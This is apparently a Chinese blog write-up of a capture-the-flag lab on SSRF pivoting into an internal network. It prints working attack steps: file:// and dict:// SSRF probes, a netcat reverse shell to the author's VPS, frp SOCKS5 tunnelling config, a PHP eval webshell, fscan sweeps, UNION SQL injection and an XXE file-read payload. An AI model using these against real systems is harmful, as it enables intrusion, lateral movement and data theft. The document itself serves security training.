SSRF内网渗透

SSRF内网渗透

1.靶场拓扑及思路

2.判断SSRF是否存在

能够对外发起网络请求的地方,就可能存在SSRF,打开测试站点

尝试获取外网URL,输入樱花动漫的网址

测试成功,网站请求了樱花动漫的首页,并将请求页面的内容回显到了网站的前端中,接下来可以尝试获取内网URL信息。

测试成功,网站没有对用户的请求进行过滤,导致这个输入框存在SSRF注入漏洞,可以通过它发起任意内网或外网的请求。

3.SSRF获取本地信息

SSRF漏洞常用的几个函数:

1.file://

2.dict://

3.gopher://

4.http://

首先可以使用file协议来读取本地的文件信息:

file:///etc/hosts

从上可以判断出该主机的IP地址为:192.168.0.2,接下来可以对整个内网资产段进行信息收集。

4.SSRF探测内网端口-192.168.0.2

SSRF常配合dict协议探测内网端口开放情况,但是不是所有的端口都可以被探测出,一般只能发现一些带TCP回显的端口,使用Burp迭代器爆破主机及其开放端口。

dict://192.168.0.2:80提交爆破参数后运行:

常见端口:http 80,https 443,telnet 23,ftp 21,ssh 22,mysql 3306,redis 6379

由此发现192.168.0.10:80

5.代码注入-192.168.0.10

访问http:192.168.0.10发现是一个葫芦娃小组黑了的网页,查找webshell,一般为shell.php,也可以尝试目录爆破找出webshell。

这个一句话webshell使用了GET来接受请求,所以可以直接使用HTTP协议来发起GET请求,直接给cmd传参,直接执行命令。

使用浏览器提交请求,空格需要写成%20:

http://192.168.0.10/shell.php?cmd=cat%20/etc/hosts

根目录下http://192.168.0.10/shell.php?cmd=ls%20/

查看usr/bin目录发现存在nc,直接反弹shell到自己VPS下,http://192.168.0.10/shell.php?cmd=nc xx.xx.xx.xx PORT -e /bin/sh,同时VPS监听端口,得到shell(空格用%20代替)

再VPS上开启HTTP服务,用wget下载代理工具frp

解压后赋权chomod 777 frpc

用同样的方法下载frpc配置文件,这里同时加上SOCKS5代理frpc.ini

[common]
server_addr = (your vps IP)
server_port = 7000

[lo80]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 16000

[socks5]
type = tcp
remote_port = 16005
plugin = socks5

先在VPS上运行./frps -c frps.ini,然后靶机上运行./frpc -c frpc.ini

然后就可以通过自己的VPS直接访问 http://192.168.0.10的80端口了直接访问: VPS:16000/shell.php?cmd=ls

接着可以通过wget再上传一个一句话<?php eval($_POST[123]);?>,然后用蚁剑连接 VPS:16000/1.php 密码:123

利用蚁剑上传fscan,就可以扫描内网了

chmod 777 fscan然后运行,开始扫描内网,有两个网段 192.168.0.0/24 还有一个10.10.0.0/24分别扫描,待扫描完成查看结果:

(避免无ping权限,加上参数-np) ./fscan -np -h 192.168.0.0/24 > 1.txt

./fscan -np -h 10.10.0.0/24 > 2.txt

通过内网信息收集:下面尝试192.168.0.138,192.168.0.250,10.10.0.22

6.SOCK5代理-192.168.0.138

在浏览器设置socks5代理,可以直接访问内网主机

也可以直接在Burp设置上游代理,再走8080

访问192.168.0.138,发现是一个简单的sql注入

1 order by 4 #确定有四个字段

0 union select 1,2,3,database() #查看数据库

0 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #看一下当前库有哪些表,发现了flag表

0 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='flag' #查看flag表有哪些字段,只有flag字段

0 union select 1,2,3,flag from flag #查询flag4

7.XXE实体注入-192.168.0.250

访问 192.168.0.250 ,admin admin登陆,没有反应

Burp抓包发现是XXE注入,payload:

<!DOCTYPE test [

<!ENTITY xxe SYSTEM "file:///flag">

]>

分别在根目录和/var/www/html/目录发现flag

8.文件上传-10.10.0.22

访问 10.10.0.22 ,进入后台http://10.10.0.22/admin.php admin admin登陆

发现后台的文件上传点,直接一个一句话搞定它

蚁剑连接,记得代理

捡完剩下flag,同样是根目录和html下,溜了溜了

posted @ 2023-12-08 10:21  Lauriey  阅读(924)  评论(0)    收藏  举报